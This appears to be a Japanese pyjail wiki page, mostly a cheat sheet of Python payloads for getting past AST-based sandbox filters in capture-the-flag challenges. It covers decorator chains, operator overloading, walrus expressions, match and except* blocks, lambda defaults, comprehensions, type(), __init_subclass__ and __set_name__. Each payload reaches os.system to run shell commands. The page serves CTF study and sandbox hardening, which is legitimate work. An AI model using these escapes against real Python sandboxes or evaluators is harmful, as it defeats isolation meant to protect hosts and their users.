pyjail wiki

AST Bypass

Jan 14, 2024

Overview

AST (Abstract Syntax Tree) ベースのフィルタは、コードを解析して特定のノードタイプをブロックする。しかし、Pythonの構文には検証を回避できる多くの抜け穴がある。

デコレータによるバイパス

@ デコレータ構文は関数呼び出しとして機能する。

# @exec を使った実行
@exec
@input
class X:
pass
# 入力: __import__('os').system('id')
# 引数付きデコレータ
@print
@list
@eval
@input
class X:
pass
# 入力で eval が実行される

Google CTF 2022 Treebox スタイル

@exec
@input
class X:
pass

演算子オーバーロード

class Evil:
def __eq__(self, other):
__import__('os').system('id')
return True
Evil() == 1 # __eq__ が呼ばれる
# __getitem__ の悪用
class Evil:
def __getitem__(self, key):
eval(key)
Evil()['__import__("os").system("id")']

walrus 演算子 (:=)

# 式の中で代入
[y := __import__('os'), y.system('id')]
# リスト内包表記と組み合わせ
[(x := __import__('os')) and x.system('id') for _ in [1]]

match 文 (Python 3.10+)

match __import__('os'):
case x:
x.system('id')

except* (Python 3.11+)

try:
raise ExceptionGroup("", [ValueError()])
except* ValueError as e:
__import__('os').system('id')

アノテーション

# 変数アノテーションは実行時に評価されない (通常)
x: eval('__import__("os").system("id")') # 効果なし
# ただし __annotations__ からアクセス可能
class C:
x: "eval('print(1)')"
eval(C.__annotations__['x'])

from __future__ import annotations の影響

Python 3.10+ では from __future__ import annotations により、アノテーションは文字列として保存される。

assert

assert __import__('os').system('id') or True

lambda のデフォルト引数

# デフォルト引数は定義時に評価される
f = lambda x=__import__('os').system('id'): x

リスト内包表記・ジェネレータ式

# iter の中で実行
[1 for _ in [__import__('os').system('id')]]
# if 節で実行
[1 for _ in [1] if __import__('os').system('id') or True]

type() による動的クラス生成

# type(name, bases, dict) でクラスを動的に作成
Evil = type('Evil', (), {'__init__': lambda self: __import__('os').system('id')})
Evil()

__init_subclass__

class Evil:
def __init_subclass__(cls):
__import__('os').system('id')
class Trigger(Evil): # サブクラス定義時に実行
pass

__set_name__

class Descriptor:
def __set_name__(self, owner, name):
__import__('os').system('id')
class Trigger:
x = Descriptor() # クラス定義時に実行

AST検証の限界

  • AST検証は構文レベルのみ、実行時の動的な挙動は検知できない
  • eval, exec の引数を静的に解析するのは困難
  • デコレータは Call ノードとして表現されるが、検知が難しい場合がある

Tips

  • AST検証をバイパスする場合、まず使用可能なノードタイプを確認
  • ast.dump() でコードのAST構造を確認できる
  • Python バージョンによってサポートされる構文が異なる